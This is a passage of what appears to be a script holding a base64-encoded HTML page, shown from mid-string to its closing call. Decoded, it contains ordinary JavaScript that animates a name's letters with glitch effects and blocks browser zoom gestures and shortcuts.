lRWxlbWVudCgnc3BhbicpO1xuICAgIHNwYW4uY2xhc3NOYW1lID0gJ2NoJztcbiAgICBzcGFuLnRleHRDb250ZW50ID0gYztcbiAgICBzcGFuLnN0eWxlLmFuaW1hdGlvbkRlbGF5ID0gKDEgKyBpICogMC4wOCkgKyAncyc7XG4gICAgd3JhcC5hcHBlbmRDaGlsZChzcGFuKTtcbiAgICBsZXR0ZXJTcGFucy5wdXNoKHNwYW4pO1xuICB9KTtcblxuICBmdW5jdGlvbiBidWlsZExldHRlcnMoKXtcbiAgICBsZXR0ZXJTcGFucy5mb3JFYWNoKHNwYW4gPT4ge1xuICAgICAgc3Bhbi5jbGFzc0xpc3QucmVtb3ZlKCdsaXQnKTtcbiAgICAgIFwvXC8gcmVzZXQgYW5pbWF0aW9uXG4gICAgICBzcGFuLnN0eWxlLmFuaW1hdGlvbiA9ICdub25lJztcbiAgICAgIHZvaWQgc3Bhbi5vZmZzZXRXaWR0aDsgXC9cLyBmb3JjZSByZWZsb3dcbiAgICAgIHNwYW4uc3R5bGUuYW5pbWF0aW9uID0gJyc7XG4gICAgfSk7XG4gICAgY29uc3QgbGFzdERlbGF5ID0gMTAwMCArIChsZXR0ZXJTcGFucy5sZW5ndGggLSAxKSAqIDgwICsgOTAwO1xuICAgIHNldFRpbWVvdXQoKCk9PntcbiAgICAgIGxldHRlclNwYW5zLmZvckVhY2goc3BhbiA9PiBzcGFuLmNsYXNzTGlzdC5hZGQoJ2xpdCcpKTtcbiAgICB9LCBsYXN0RGVsYXkpO1xuICB9XG5cbiAgXC9cLyBHbGl0Y2ggc2NoZWR1bGluZyAtIHJlY3Vyc2l2ZSBzZXRUaW1lb3V0LCBubyBuZXN0ZWQgc2V0SW50ZXJ2YWxcbiAgbGV0IGdsaXRjaFRpbWVyID0gbnVsbDtcbiAgZnVuY3Rpb24gc2NoZWR1bGVHbGl0Y2goKXtcbiAgICBjb25zdCBkZWxheSA9IDYwMDAgKyBNYXRoLnJhbmRvbSgpICogMzAwMDtcbiAgICBnbGl0Y2hUaW1lciA9IHNldFRpbWVvdXQoKCk9PntcbiAgICAgIG5hbWUuY2xhc3NMaXN0LmFkZCgnZ2xpdGNoaW5nJyk7XG4gICAgICBzZXRUaW1lb3V0KCgpPT57XG4gICAgICAgIG5hbWUuY2xhc3NMaXN0LnJlbW92ZSgnZ2xpdGNoaW5nJyk7XG4gICAgICAgIHNjaGVkdWxlR2xpdGNoKCk7XG4gICAgICB9LCAxODApO1xuICAgIH0sIGRlbGF5KTtcbiAgfVxuXG4gIFwvXC8gUGF1c2UgYW5pbWF0aW9ucyB3aGVuIHRhYiBub3QgdmlzaWJsZSAoc2F2ZXMgQ1BVKVxuICBkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCd2aXNpYmlsaXR5Y2hhbmdlJywgKCk9PntcbiAgICBpZihkb2N1bWVudC5oaWRkZW4pe1xuICAgICAgaWYoZ2xpdGNoVGltZXIpeyBjbGVhclRpbWVvdXQoZ2xpdGNoVGltZXIpOyBnbGl0Y2hUaW1lciA9IG51bGw7IH1cbiAgICB9IGVsc2UgaWYoIWdsaXRjaFRpbWVyKXtcbiAgICAgIHNjaGVkdWxlR2xpdGNoKCk7XG4gICAgfVxuICB9KTtcblxuICBidWlsZExldHRlcnMoKTtcbiAgc2NoZWR1bGVHbGl0Y2goKTtcbiAgXC9cLyBMb29wIHJldmVhbCBldmVyeSAxNHMgdXNpbmcgc2V0VGltZW91dCByZWN1cnNpb24gaW5zdGVhZCBvZiBzZXRJbnRlcnZhbFxuICBmdW5jdGlvbiBsb29wUmV2ZWFsKCl7XG4gICAgc2V0VGltZW91dCgoKT0+e1xuICAgICAgYnVpbGRMZXR0ZXJzKCk7XG4gICAgICBsb29wUmV2ZWFsKCk7XG4gICAgfSwgMTQwMDApO1xuICB9XG4gIGxvb3BSZXZlYWwoKTtcblxuICBcLyogPT09IEFudGktem9vbSBoYXJkIGxvY2sgPT09ICpcL1xuICBcL1wvIEJsb2NrIGN0cmwrd2hlZWwgem9vbVxuICBkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCd3aGVlbCcsIGU9PntcbiAgICBpZihlLmN0cmxLZXkpeyBlLnByZXZlbnREZWZhdWx0KCk7IH1cbiAgfSwge3Bhc3NpdmU6ZmFsc2V9KTtcblxuICBcL1wvIEJsb2NrIHBpbmNoIFwvIGRvdWJsZS10YXAgem9vbSBvbiBtb2JpbGVcbiAgbGV0IGxhc3RUb3VjaEVuZCA9IDA7XG4gIGRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ3RvdWNoZW5kJywgZT0+e1xuICAgIGNvbnN0IG5vdyA9IERhdGUubm93KCk7XG4gICAgaWYobm93IC0gbGFzdFRvdWNoRW5kIDw9IDMwMCl7IGUucHJldmVudERlZmF1bHQoKTsgfVxuICAgIGxhc3RUb3VjaEVuZCA9IG5vdztcbiAgfSwge3Bhc3NpdmU6ZmFsc2V9KTtcblxuICBcL1wvIEJsb2NrIGdlc3R1cmVzdGFydCAoU2FmYXJpIHBpbmNoKVxuICBkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCdnZXN0dXJlc3RhcnQnLCBlPT5lLnByZXZlbnREZWZhdWx0KCkpO1xuICBkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCdnZXN0dXJlY2hhbmdlJywgZT0+ZS5wcmV2ZW50RGVmYXVsdCgpKTtcblxuICBcL1wvIEJsb2NrIGtleWJvYXJkIHNob3J0Y3V0cyBmb3Igem9vbSAoQ3RybCArXC8tLCBDdHJsIDApXG4gIGRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ2tleWRvd24nLCBlPT57XG4gICAgaWYoZS5jdHJsS2V5ICYmIChlLmtleSA9PT0gJysnIHx8IGUua2V5ID09PSAnLScgfHwgZS5rZXkgPT09ICcwJyB8fCBlLmtleSA9PT0gJz0nKSl7XG4gICAgICBlLnByZXZlbnREZWZhdWx0KCk7XG4gICAgfVxuICB9LCB7cGFzc2l2ZTpmYWxzZX0pO1xuPFwvc2NyaXB0PlxuPFwvYm9keT5cbjxcL2h0bWw+IjsNCn0pOw=='));